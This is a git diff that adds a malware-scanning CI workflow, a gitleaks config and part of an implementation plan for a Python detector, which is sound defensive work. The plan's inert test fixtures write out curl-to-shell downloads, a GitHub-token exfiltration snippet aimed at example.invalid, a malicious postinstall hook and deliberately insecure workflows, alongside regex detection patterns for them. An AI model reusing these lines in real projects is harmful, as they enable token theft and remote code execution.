diff --git a/.github/workflows/malware-protection.yml b/.github/workflows/malware-protection.yml new file mode 100644 index 0000000..7104d3d --- /dev/null +++ b/.github/workflows/malware-protection.yml @@ -0,0 +1,142 @@ +name: Malware Protection + +on: + pull_request: + branches: [main] + push: + branches: [main] + schedule: + - cron: "17 4 * * *" + workflow_dispatch: + +permissions: + contents: read + +concurrency: + group: malware-protection-${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +jobs: + ttp-scan: + name: TTP Scan + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + fetch-depth: 0 + persist-credentials: false + - uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0 + with: + python-version: "3.12" + - name: Scanner unit tests + run: python3 -m unittest discover -s tests/malware-scan -v + - name: TTP scan (PR diff) + if: github.event_name == 'pull_request' + env: + SCAN_BASE: ${{ github.base_ref }} + run: >- + python3 scripts/malware-scan/scan.py + --base "origin/$SCAN_BASE" + --head HEAD + --annotations + --summary "$GITHUB_STEP_SUMMARY" + - name: TTP scan (tree) + if: github.event_name != 'pull_request' + run: >- + python3 scripts/malware-scan/scan.py + --paths . + --annotations + --summary "$GITHUB_STEP_SUMMARY" + - name: npm audit (lockfile only, WARN) + # Spec [S3] C1 / [S8] row 5: high/critical advisories are WARN-tier. + # --package-lock-only audits the committed lockfile without + # installing packages or executing project code; continue-on-error + # gives WARN semantics (never fails the job) and the output tail is + # appended to the job summary for reviewers. + continue-on-error: true + run: | + { + echo "## npm audit (lockfile-only, WARN tier)" + echo '```' + npm audit --package-lock-only --audit-level=high 2>&1 | tail -n 40 + echo '```' + } >> "$GITHUB_STEP_SUMMARY" + + history-scan: + name: History Scan + if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + fetch-depth: 0 + persist-credentials: false + - uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0 + with: + python-version: "3.12" + - name: Full history TTP scan + run: >- + python3 scripts/malware-scan/scan.py + --history + --annotations + --summary "$GITHUB_STEP_SUMMARY" + + secrets-scan: + name: Secrets Scan + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + fetch-depth: 0 + persist-credentials: false + - name: Install gitleaks + run: | + set -euo pipefail + VERSION="8.30.1" + curl -fsSL -o /tmp/gitleaks.tar.gz \ + "https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz" + tar -xzf /tmp/gitleaks.tar.gz -C /tmp gitleaks + sudo install -m 0755 /tmp/gitleaks /usr/local/bin/gitleaks + gitleaks version + - name: Detect secrets (PR diff) + if: github.event_name == 'pull_request' + env: + SCAN_BASE: ${{ github.base_ref }} + run: >- + gitleaks detect --source . --redact + --log-opts "origin/$SCAN_BASE..HEAD" + --exit-code 1 + - name: Detect secrets + if: github.event_name != 'pull_request' + run: gitleaks detect --source . --redact --exit-code 1 + + workflow-lint: + name: Workflow Lint + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + persist-credentials: false + - uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0 + with: + python-version: "3.12" + - name: Install zizmor + run: pip install zizmor==1.32.0 + - name: Install actionlint + run: | + set -euo pipefail + VERSION="1.7.12" + curl -fsSL -o /tmp/actionlint.tar.gz \ + "https://github.com/rhysd/actionlint/releases/download/v${VERSION}/actionlint_${VERSION}_linux_amd64.tar.gz" + tar -xzf /tmp/actionlint.tar.gz -C /tmp actionlint + sudo install -m 0755 /tmp/actionlint /usr/local/bin/actionlint + actionlint --version + - name: Lint workflows + run: | + # zizmor is scoped to the workflow this feature owns: pre-existing + # ci.yml findings (unpinned uses/images, artipacked, excessive + # permissions) are out of scope here (spec [S7]) and ci.yml + # hardening is tracked separately. actionlint stays repo-wide — + # it passes on every workflow. + zizmor --persona auditor .github/workflows/malware-protection.yml + actionlint diff --git a/.gitignore b/.gitignore index 656f54c..a7f07d9 100644 --- a/.gitignore +++ b/.gitignore @@ -6,3 +6,5 @@ coverage/ !.env.example !.env.test.example *.log +.worktrees/ +__pycache__/ diff --git a/.gitleaks.toml b/.gitleaks.toml new file mode 100644 index 0000000..eb71f46 --- /dev/null +++ b/.gitleaks.toml @@ -0,0 +1,38 @@ +# gitleaks config — loaded automatically by `gitleaks detect --source .` +# +# NOTE (pinned gitleaks v8.30.1): the array-of-tables form `[[allowlist]]` +# fails to load ("'AllowList' expected a map, got 'slice'") and the singular +# `[allowlist]` table is a deprecated 9.x-removal shim. The supported +# multi-entry form is `[[allowlists]]`. + +[extend] +useDefault = true + +# --- Scanner's own inert test payloads ------------------------------------- +[[allowlists]] +description = "Inert scanner test fixtures" +paths = ['''^tests/malware-scan/fixtures/'''] + +# --- Baseline: 20 pre-existing generic-api-key findings at c1d9d02 --------- +# Scoped to the exact files that carry them (anchored paths) and to the +# generic-api-key rule, so new leaks of any other rule — and any new leak +# outside these paths — still fail the scan. +[[allowlists]] +description = "pre-existing dummy Stellar env values in legacy ci.yml, baselined at c1d9d02 — remove when ci.yml hardening lands" +paths = ['''^\.github/workflows/ci\.yml$'''] +targetRules = ["generic-api-key"] + +[[allowlists]] +description = "pre-existing JWT test-secret placeholder in src/config/index.ts, baselined at c1d9d02 — remove when the placeholder is rewritten" +paths = ['''^src/config/index\.ts$'''] +targetRules = ["generic-api-key"] + +[[allowlists]] +description = "pre-existing VALID_SECRET test fixture value, baselined at c1d9d02 — remove when the fixture is rewritten" +paths = ['''^tests/unit/config/stellar\.test\.ts$'''] +targetRules = ["generic-api-key"] + +[[allowlists]] +description = "pre-existing test-key-1234567890 idempotency fixture value, baselined at c1d9d02 — remove when the fixture is rewritten" +paths = ['''^tests/unit/services/idempotency\.test\.ts$'''] +targetRules = ["generic-api-key"] diff --git a/docs/compose/plans/2026-11-19-malware-protection-ci.md b/docs/compose/plans/2026-11-19-malware-protection-ci.md new file mode 100644 index 0000000..e24d9d7 --- /dev/null +++ b/docs/compose/plans/2026-11-19-malware-protection-ci.md @@ -0,0 +1,1376 @@ +# Malware-Protection CI Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use compose:subagent (recommended) or compose:execute to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Ship a `malware-protection` GitHub Actions workflow with an in-repo, stdlib-only Python scanner that blocks PolinRider-style malware and warns on suspicious signals, without ever executing project code. + +**Architecture:** One workflow (`.github/workflows/malware-protection.yml`) fans out into parallel jobs: a custom TTP scanner (`scripts/malware-scan/scan.py`, Python 3 stdlib), secret scanning (gitleaks), and workflow linting (zizmor + actionlint). A history-sweep job runs on schedule/manual only. Findings are tiered BLOCK/WARN and emitted as annotations plus a job summary. All third-party actions are pinned to commit SHAs resolved at implementation time. + +**Tech Stack:** Python 3.11+ (stdlib only: `unittest`, `json`, `re`, `subprocess`, `argparse`, `dataclasses`, `pathlib`, `math`), Bash, GitHub Actions, gitleaks, zizmor, actionlint. + +**Spec:** `docs/compose/specs/2026-11-19-malware-protection-ci-design.md` (anchors `[S1]`–`[S8]`). + +**Deviation from spec (approved at planning):** the allowlist is `allowlist.json` (not `.yml`) because the scanner is stdlib-only and Python has no stdlib YAML parser. `docs/malware-protection.md` and the spec must reference `allowlist.json`. + +--- + +## File Structure + +| Path | Responsibility | +|---|---| +| `scripts/malware-scan/scan.py` | Scanner engine: rules, severity tiers, allowlist, diff/history modes, CLI, exit codes | +| `scripts/malware-scan/rules/typosquat_top100.txt` | Bundled top-100 npm package names for typosquat distance checks (one name per line) | +| `scripts/malware-scan/allowlist.json` | Suppressions: list of `{rule, path, reason}`; starts with one fixture-dir bootstrap entry | +| `tests/malware-scan/test_scan.py` | Stdlib unittest suite: one positive + one negative test per rule | +| `tests/malware-scan/fixtures/README.md` | Declares fixtures are inert synthetic samples | +| `tests/malware-scan/fixtures/malicious/*` | Inert trigger samples (non-routable URLs, dummy tokens, non-functional fragments) | +| `tests/malware-scan/fixtures/benign/*` | Counter-samples that must NOT trigger | +| `.github/workflows/malware-protection.yml` | The CI workflow | +| `.gitleaks.toml` | Allowlists fixtures dir so gitleaks ignores inert test samples | +| `docs/malware-protection.md` | Maintainer guide: coverage, tiers, allowlist policy, incident response | + +Conventions: `Finding` is a frozen dataclass `{rule: str, severity: str, path: str, line: int, message: str}` with `severity` in `{"BLOCK", "WARN"}`. Rule IDs are exactly those in spec `[S3]` C1. Exit codes: `0` clean, `1` BLOCK findings, `2` scanner error (spec `[S4]`). + +--- + +### Task 1: Scanner skeleton — findings, registry, CLI, exit codes + +**Covers:** [S4], [S5] + +**Files:** +- Create: `scripts/malware-scan/scan.py` +- Test: `tests/malware-scan/test_scan.py` + +- [ ] **Step 1: Write the failing test** + +```python +# tests/malware-scan/test_scan.py +import json +import subprocess +import sys +import unittest +from pathlib import Path + +REPO = Path(__file__).resolve().parents[2] +SCAN = REPO / "scripts" / "malware-scan" / "scan.py" + + +def run_scan(*args: str) -> subprocess.CompletedProcess: + return subprocess.run( + [sys.executable, str(SCAN), *args], + capture_output=True, + text=True, + cwd=REPO, + ) + + +class TestCliContract(unittest.TestCase): + def test_clean_tree_exits_zero(self): + proc = run_scan("--paths", "src", "--json-out", "-") + self.assertEqual(proc.returncode, 0, proc.stdout + proc.stderr) + + def test_json_output_shape(self): + proc = run_scan("--paths", "src", "--json-out", "-") + data = json.loads(proc.stdout) + self.assertIn("findings", data) + self.assertIn("scanned", data) + + def test_unknown_rule_not_emitted_for_benign_text(self): + proc = run_scan("--paths", "src", "--json-out", "-") + self.assertEqual(json.loads(proc.stdout)["findings"], []) + + +if __name__ == "__main__": + unittest.main() +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `python3 -m unittest tests.malware-scan.test_scan -v` (from repo root; if the dotted path fails due to the hyphen, use `python3 -m unittest discover -s tests/malware-scan -v`) +Expected: FAIL — `scan.py` does not exist (FileNotFoundError / non-zero exit). + +- [ ] **Step 3: Write minimal implementation** + +```python +#!/usr/bin/env python3 +"""Malware TTP scanner. Stdlib only. Never executes project code.""" +from __future__ import annotations + +import argparse +import json +import sys +from dataclasses import asdict, dataclass +from pathlib import Path + +SEVERITIES = ("BLOCK", "WARN") + + +@dataclass(frozen=True) +class Finding: + rule: str + severity: str + path: str + line: int + message: str + + +def scan_text(path: str, text: str) -> list[Finding]: + """Run all text rules over one file. Rules are added in later tasks.""" + return [] + + +def iter_scan_paths(paths: list[str]) -> list[Path]: + out: list[Path] = [] + for raw in paths: + p = Path(raw) + if p.is_file(): + out.append(p) + elif p.is_dir(): + out.extend( + q for q in sorted(p.rglob("*")) + if q.is_file() and "malware-scan" not in q.parts + ) + return out + + +def run(paths: list[str]) -> list[Finding]: + findings: list[Finding] = [] + for f in iter_scan_paths(paths): + try: + text = f.read_text(encoding="utf-8", errors="replace") + except OSError as exc: + raise RuntimeError(f"cannot read {f}: {exc}") from exc + findings.extend(scan_text(str(f), text)) + return findings + + +def main(argv: list[str] | None = None) -> int: + ap = argparse.ArgumentParser(prog="scan.py") + ap.add_argument("--paths", nargs="+", default=["."]) + ap.add_argument("--json-out", default="-", help="'-' for stdout or a file path") + args = ap.parse_args(argv) + try: + findings = run(args.paths) + except RuntimeError as exc: + print(f"scanner error: {exc}", file=sys.stderr) + return 2 + payload = {"findings": [asdict(f) for f in findings], "scanned": args.paths} + out = json.dumps(payload, indent=2) + if args.json_out == "-": + print(out) + else: + Path(args.json_out).write_text(out, encoding="utf-8") + return 1 if any(f.severity == "BLOCK" for f in findings) else 0 + + +if __name__ == "__main__": + sys.exit(main()) +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 3 tests PASS. + +- [ ] **Step 5: Commit** + +```bash +git add scripts/malware-scan/scan.py tests/malware-scan/test_scan.py +git commit -m "feat(malware-scan): scanner skeleton with finding model and CLI exit codes" +``` + +--- + +### Task 2: PolinRider config-file rules — POLIN-CONFIG-APPEND, POLIN-OBFUSCATED-JS + +**Covers:** [S3] (C1 rule catalog), [S8] row 1 + +**Files:** +- Modify: `scripts/malware-scan/scan.py` (add rules) +- Create: `tests/malware-scan/fixtures/README.md`, `tests/malware-scan/fixtures/malicious/polin-config-append.config.js`, `tests/malware-scan/fixtures/malicious/polin-obfuscated.config.mjs`, `tests/malware-scan/fixtures/benign/tailwind.config.js`, `tests/malware-scan/fixtures/benign/eslint.config.mjs` +- Test: `tests/malware-scan/test_scan.py` (append rule tests) + +- [ ] **Step 1: Write the failing tests and fixtures** + +Fixture README: + +```markdown +# Test fixtures — INERT + +These files are synthetic samples for scanner unit tests. They are not +functional code: URLs are non-routable (`example.invalid`), tokens are dummy, +and payload fragments cannot execute. Do not "fix" them to run. +``` + +`tests/malware-scan/fixtures/malicious/polin-config-append.config.js` (inert): + +```js +module.exports = { + content: ["./src/**/*.{ts,tsx}"], +}; +/* trailing block below mimics the PolinRider append pattern */ +var _0x1 = Buffer["from"]("aHR0cDovL2V4YW1wbGUuaW52YWxpZA==","base64")["toString"](); +require("child_process")["exec"]("curl -s http://example.invalid/p | sh"); +``` + +`tests/malware-scan/fixtures/malicious/polin-obfuscated.config.mjs` (inert): + +```js +export default { plugins: [] }; +eval(String["fromCharCode"](104,116,116,112,115,58,47,47,101,120,97,109,112,108,101,46,105,110,118,97,108,105,100)); +``` + +`tests/malware-scan/fixtures/benign/tailwind.config.js`: + +```js +/** @type {import('tailwindcss').Config} */ +module.exports = { + content: ["./src/**/*.{ts,tsx}"], + theme: { extend: {} }, + plugins: [], +}; +``` + +`tests/malware-scan/fixtures/benign/eslint.config.mjs`: + +```js +import js from "@eslint/js"; +export default [js.configs.recommended, { rules: { "no-eval": "error" } }]; +``` + +Tests to append to `tests/malware-scan/test_scan.py`: + +```python +from importlib.util import module_from_spec, spec_from_file_location + +_spec = spec_from_file_location("scan_mod", SCAN) +scan_mod = module_from_spec(_spec) +_spec.loader.exec_module(scan_mod) + +FIXTURES = Path(__file__).resolve().parent / "fixtures" + + +class TestPolinConfigRules(unittest.TestCase): + def test_config_append_detected(self): + p = FIXTURES / "malicious" / "polin-config-append.config.js" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_obfuscated_js_detected(self): + p = FIXTURES / "malicious" / "polin-obfuscated.config.mjs" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}) + + def test_benign_configs_clean(self): + for name in ("tailwind.config.js", "eslint.config.mjs"): + p = FIXTURES / "benign" / name + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertEqual(found, [], name) +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 2 new tests FAIL (`POLIN-CONFIG-APPEND`/`POLIN-OBFUSCATED-JS` not detected), benign test PASSES. + +- [ ] **Step 3: Implement the rules** + +Append to `scripts/malware-scan/scan.py` (above `scan_text`): + +```python +import math +import re + +CONFIG_FILE_RE = re.compile( + r"(tailwind|postcss|eslint|next|webpack|vite|jest|babel|rollup|nuxt)" + r".*\.config\.(js|cjs|mjs)$|next\.config\.mjs$" +) +LONG_B64_RE = re.compile(r"[A-Za-z0-9+/=]{200,}") +FROM_CHARCODE_RE = re.compile(r"String\s*\[\s*['\"]fromCharCode|String\.fromCharCode") +DECODE_FN_RE = re.compile(r"\b(eval|Function|setTimeout|setInterval)\s*\(") +ATOB_RE = re.compile(r"\b(atob|Buffer\s*\[\s*['\"]from|unescape|decodeURIComponent)\b") +BRACKET_ONLY_RE = re.compile(r"(?:\[\s*['\"][A-Za-z_$][\w$]*['\"]\s*\]\s*){4,}") +NETWORK_RE = re.compile(r"\b(fetch|XMLHttpRequest|http\.request|https\.request|child_process|exec|spawn)\b") + + +def _is_config_file(path: str) -> bool: + return bool(CONFIG_FILE_RE.search(Path(path).name)) + + +def rule_polin_config_append(path: str, text: str) -> list[Finding]: + if not _is_config_file(path): + return [] + out: list[Finding] = [] + lines = text.splitlines() + # Heuristic: substantial non-comment code appearing after a line that ends + # the module (trailing `};` or `export default {...};`) followed later by + # obfuscation/exec/network markers = appended payload. + ended_at = None + for i, ln in enumerate(lines): + if re.match(r"^\s*(\};?|export\s+default\s+.*\};?)\s*$", ln): + ended_at = i + if ended_at is not None: + tail = "\n".join(lines[ended_at + 1:]) + if tail.strip() and NETWORK_RE.search(tail) and ( + BRACKET_ONLY_RE.search(tail) or LONG_B64_RE.search(tail) + or _has_decode_construct(tail) + ): + out.append(Finding( + "POLIN-CONFIG-APPEND", "BLOCK", path, ended_at + 2, + "suspicious code appended after module end in a build config " + "(PolinRider config-file payload pattern)", + )) + return out + + +DECODE_ALIAS_RE = re.compile(r"\batob\b|Buffer\s*\[\s*['\"]from") + + +def _has_decode_construct(tail: str) -> bool: + return bool(FROM_CHARCODE_RE.search(tail) or DECODE_ALIAS_RE.search(tail)) + + +def rule_polin_obfuscated_js(path: str, text: str) -> list[Finding]: + out: list[Finding] = [] + for i, ln in enumerate(text.splitlines(), 1): + hits = [] + if LONG_B64_RE.search(ln): + hits.append("long base64/hex literal") + if BRACKET_ONLY_RE.search(ln): + hits.append("bracket-notation-only identifier chain") + if FROM_CHARCODE_RE.search(ln) and DECODE_FN_RE.search(text): + hits.append("fromCharCode feeding eval/Function") + if DECODE_FN_RE.search(ln) and DECODE_ALIAS_RE.search(ln): + hits.append("eval over decoded input") + if hits and (NETWORK_RE.search(ln) or DECODE_FN_RE.search(ln)): + out.append(Finding( + "POLIN-OBFUSCATED-JS", "BLOCK", path, i, + "obfuscated JavaScript construct: " + "; ".join(hits), + )) + return out +``` + +Wire into `scan_text`: + +```python +TEXT_RULES = [rule_polin_config_append, rule_polin_obfuscated_js] + + +def scan_text(path: str, text: str) -> list[Finding]: + findings: list[Finding] = [] + for rule in TEXT_RULES: + findings.extend(rule(path, text)) + return findings +``` + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: all tests PASS (benign configs must produce zero findings). + +- [ ] **Step 5: Commit** + +```bash +git add scripts/malware-scan/scan.py tests/malware-scan/ +git commit -m "feat(malware-scan): PolinRider config-append and obfuscation rules" +``` + +--- + +### Task 3: Execution-vector rules — POLIN-VSCODE-TASKS, STEAL-TOKEN-EXFIL, HOOK-MALICIOUS-SCRIPT + +**Covers:** [S3] (C1), [S8] rows 2–4 + +**Files:** +- Modify: `scripts/malware-scan/scan.py` +- Create: `tests/malware-scan/fixtures/malicious/tasks.json`, `tests/malware-scan/fixtures/malicious/package-hook.json`, `tests/malware-scan/fixtures/malicious/stealer-fragment.js`, `tests/malware-scan/fixtures/benign/package.json`, `tests/malware-scan/fixtures/benign/tasks.json` +- Test: `tests/malware-scan/test_scan.py` (append) + +- [ ] **Step 1: Write the failing tests and fixtures** + +`tests/malware-scan/fixtures/malicious/tasks.json` (inert): + +```json +{ + "version": "2.0.0", + "tasks": [ + { + "label": "update", + "type": "shell", + "command": "curl -s http://example.invalid/x.sh | sh", + "runOptions": { "runOn": "folderOpen" } + } + ] +} +``` + +`tests/malware-scan/fixtures/malicious/package-hook.json` (inert): + +```json +{ + "name": "fixture", + "scripts": { + "postinstall": "node -e \"require('http').get('http://example.invalid')\"" + } +} +``` + +`tests/malware-scan/fixtures/malicious/stealer-fragment.js` (inert): + +```js +const t = process.env.GITHUB_TOKEN || process.env["GH_TOKEN"]; +require("https").request({ hostname: "example.invalid", method: "POST" }).end(t); +``` + +`tests/malware-scan/fixtures/benign/package.json`: + +```json +{ + "name": "fixture-benign", + "scripts": { + "build": "tsc -p tsconfig.json", + "test": "vitest run", + "postinstall": "echo done" + } +} +``` + +`tests/malware-scan/fixtures/benign/tasks.json`: + +```json +{ + "version": "2.0.0", + "tasks": [ + { "label": "test", "type": "shell", "command": "npm test" } + ] +} +``` + +Tests to append: + +```python +class TestExecutionVectorRules(unittest.TestCase): + def test_vscode_tasks_curl_to_shell(self): + p = FIXTURES / "malicious" / "tasks.json" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("POLIN-VSCODE-TASKS", {f.rule for f in found}) + + def test_token_exfil_detected(self): + p = FIXTURES / "malicious" / "stealer-fragment.js" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("STEAL-TOKEN-EXFIL", {f.rule for f in found}) + + def test_malicious_lifecycle_hook(self): + p = FIXTURES / "malicious" / "package-hook.json" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("HOOK-MALICIOUS-SCRIPT", {f.rule for f in found}) + + def test_benign_package_and_tasks_clean(self): + for name in ("package.json", "tasks.json"): + p = FIXTURES / "benign" / name + self.assertEqual(scan_mod.scan_text(str(p), p.read_text()), [], name) +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 3 FAIL (rules missing), benign test PASS. + +- [ ] **Step 3: Implement the rules** + +Append to `scripts/malware-scan/scan.py`: + +```python +SHELL_PIPE_RE = re.compile( + r"(curl|wget|iwr|Invoke-WebRequest)[^\n|]*\|\s*(sh|bash|zsh|powershell|pwsh|iex|cmd)" +) +DECODE_EXEC_RE = re.compile(r"base64\s+(-d|--decode)\s*\|[^\n]*(sh|bash)|certutil.*-decode") +TOKEN_REF_RE = re.compile(r"GITHUB_TOKEN|GH_TOKEN|process\.env\[[^\]]*TOKEN|~\/\.ssh|\.npmrc|credentials") +EXFIL_RE = re.compile(r"https?\.(request|get|post)|fetch\s*\(|curl\s|wget\s|exec\s*\(|spawn\s*\(") +HOOK_NAMES = ("preinstall", "install", "postinstall", "prepare", "prepublish", "postpublish") +HOOK_BAD_RE = re.compile(r"node\s+-e|curl\s|wget\s|iwr\s|base64\s+(-d|--decode)|fromCharCode") + + +def rule_polin_vscode_tasks(path: str, text: str) -> list[Finding]: + if Path(path).name != "tasks.json" or ".vscode" not in Path(path).parts: + return [] + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if SHELL_PIPE_RE.search(ln) or DECODE_EXEC_RE.search(ln): + out.append(Finding( + "POLIN-VSCODE-TASKS", "BLOCK", path, i, + "VS Code task runs curl/wget piped to a shell " + "(PolinRider folderOpen execution vector)", + )) + return out + + +def rule_steal_token_exfil(path: str, text: str) -> list[Finding]: + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if TOKEN_REF_RE.search(ln): + window = "\n".join(text.splitlines()[max(0, i - 4): i + 4]) + if EXFIL_RE.search(window): + out.append(Finding( + "STEAL-TOKEN-EXFIL", "BLOCK", path, i, + "token/credential access combined with outbound network call " + "(token-stealer pattern)", + )) + return out + + +def rule_hook_malicious_script(path: str, text: str) -> list[Finding]: + if Path(path).name != "package.json": + return [] + try: + data = json.loads(text) + except ValueError: + return [] + scripts = data.get("scripts") or {} + out = [] + for name in HOOK_NAMES: + val = scripts.get(name) + if isinstance(val, str) and HOOK_BAD_RE.search(val): + out.append(Finding( + "HOOK-MALICIOUS-SCRIPT", "BLOCK", path, 1, + f"npm lifecycle script '{name}' invokes download/exec/obfuscation " + f"primitives: {val[:80]!r}", + )) + return out +``` + +Register the three rules in `TEXT_RULES`. + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: all PASS. + +- [ ] **Step 5: Commit** + +```bash +git add scripts/malware-scan/scan.py tests/malware-scan/ +git commit -m "feat(malware-scan): VS Code tasks, token-exfil, and lifecycle-hook rules" +``` + +--- + +### Task 4: Workflow rules — WF-PR-TARGET-CHECKOUT, WF-SCRIPT-INJECTION, WF-UNPINNED-ACTION + +**Covers:** [S3] (C1), [S4] (escalation), [S8] row 6 + +**Files:** +- Modify: `scripts/malware-scan/scan.py` +- Create: `tests/malware-scan/fixtures/malicious/pwn-request.yml`, `tests/malware-scan/fixtures/malicious/injection.yml`, `tests/malware-scan/fixtures/malicious/unpinned-secrets.yml`, `tests/malware-scan/fixtures/benign/workflow.yml` +- Test: `tests/malware-scan/test_scan.py` (append) + +- [ ] **Step 1: Write the failing tests and fixtures** + +`tests/malware-scan/fixtures/malicious/pwn-request.yml` (inert): + +```yaml +name: x +on: pull_request_target +jobs: + j: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: ${{ github.event.pull_request.head.sha }} + - run: npm test +``` + +`tests/malware-scan/fixtures/malicious/injection.yml` (inert): + +```yaml +name: x +on: issue_comment +jobs: + j: + runs-on: ubuntu-latest + steps: + - run: echo "Hello ${{ github.event.issue.title }}" +``` + +`tests/malware-scan/fixtures/malicious/unpinned-secrets.yml` (inert): + +```yaml +name: x +on: push +jobs: + j: + runs-on: ubuntu-latest + secrets: inherit + steps: + - uses: some/action@v1 +``` + +`tests/malware-scan/fixtures/benign/workflow.yml`: + +```yaml +name: x +on: pull_request +jobs: + j: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 + - run: echo ok +``` + +Tests to append: + +```python +class TestWorkflowRules(unittest.TestCase): + def test_pwn_request_pattern(self): + p = FIXTURES / "malicious" / "pwn-request.yml" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("WF-PR-TARGET-CHECKOUT", {f.rule for f in found}) + + def test_script_injection(self): + p = FIXTURES / "malicious" / "injection.yml" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("WF-SCRIPT-INJECTION", {f.rule for f in found}) + + def test_unpinned_action_with_secrets_is_block(self): + p = FIXTURES / "malicious" / "unpinned-secrets.yml" + found = scan_mod.scan_text(str(p), p.read_text()) + unpinned = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertTrue(unpinned) + self.assertEqual(unpinned[0].severity, "BLOCK") + + def test_unpinned_action_without_secrets_is_warn(self): + text = "name: x\non: push\njobs:\n j:\n runs-on: ubuntu-latest\n steps:\n - uses: some/action@v1\n" + found = scan_mod.scan_text("wf.yml", text) + unpinned = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertTrue(unpinned) + self.assertEqual(unpinned[0].severity, "WARN") + + def test_pinned_workflow_clean(self): + p = FIXTURES / "benign" / "workflow.yml" + self.assertEqual(scan_mod.scan_text(str(p), p.read_text()), []) +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 5 FAIL. + +- [ ] **Step 3: Implement the rules** + +Append to `scripts/malware-scan/scan.py`: + +```python +WF_EXT = (".yml", ".yaml") +SHA_PIN_RE = re.compile(r"uses:\s*[^@\s]+@([0-9a-f]{40})\b") +USES_RE = re.compile(r"uses:\s*([^@\s]+)@(\S+)") +EVENT_EXPR_RE = re.compile(r"\$\{\{\s*github\.event\.[^}]*\}\}") +PR_TARGET_RE = re.compile(r"^\s*pull_request_target\s*:", re.M) +PR_HEAD_REF = re.compile(r"github\.event\.pull_request\.head|github\.head_ref") + + +def _is_workflow(path: str) -> bool: + p = Path(path) + return p.suffix in WF_EXT and ".github" in p.parts and "workflows" in p.parts + + +def rule_wf_pwn_request(path: str, text: str) -> list[Finding]: + if not _is_workflow(path): + return [] + if not PR_TARGET_RE.search(text): + return [] + if PR_HEAD_REF.search(text): + return [Finding( + "WF-PR-TARGET-CHECKOUT", "BLOCK", path, 1, + "pull_request_target workflow checks out untrusted PR head " + "(pwn-request pattern)", + )] + return [Finding( + "WF-PR-TARGET-CHECKOUT", "WARN", path, 1, + "pull_request_target without head checkout — verify no untrusted input " + "reaches run steps", + )] + + +def rule_wf_script_injection(path: str, text: str) -> list[Finding]: + if not _is_workflow(path): + return [] + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if "run:" in ln and EVENT_EXPR_RE.search(ln): + out.append(Finding( + "WF-SCRIPT-INJECTION", "BLOCK", path, i, + "untrusted ${{ github.event.* }} expression interpolated into run:", + )) + return out + + +def rule_wf_unpinned_action(path: str, text: str) -> list[Finding]: + if not _is_workflow(path): + return [] + out = [] + secrets_bearer = bool(re.search(r"^\s*secrets\s*:", text, re.M)) or "secrets:" in text + for i, ln in enumerate(text.splitlines(), 1): + m = USES_RE.search(ln) + if not m: + continue + if SHA_PIN_RE.search(ln): + continue + out.append(Finding( + "WF-UNPINNED-ACTION", + "BLOCK" if secrets_bearer else "WARN", + path, i, + f"action {m.group(1)} pinned to ref {m.group(2)!r} instead of a " + "full commit SHA", + )) + return out +``` + +Register the three rules in `TEXT_RULES`. Note: the fixture files live under +`tests/malware-scan/` which `iter_scan_paths` already skips during live scans; +unit tests call `scan_text` directly. + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: all PASS. + +- [ ] **Step 5: Commit** + +```bash +git add scripts/malware-scan/scan.py tests/malware-scan/ +git commit -m "feat(malware-scan): GitHub Actions abuse rules with secrets escalation" +``` + +--- + +### Task 5: Suspicion rules and dependency analysis — SUSP-* + typosquat list + +**Covers:** [S3] (C1 WARN rules, dependency analysis), [S8] row 5 + +**Files:** +- Modify: `scripts/malware-scan/scan.py` +- Create: `scripts/malware-scan/rules/typosquat_top100.txt` +- Create: `tests/malware-scan/fixtures/malicious/entropy.js`, `tests/malware-scan/fixtures/malicious/typosquat-package.json`, `tests/malware-scan/fixtures/malicious/decode-cmd.txt` +- Test: `tests/malware-scan/test_scan.py` (append) + +- [ 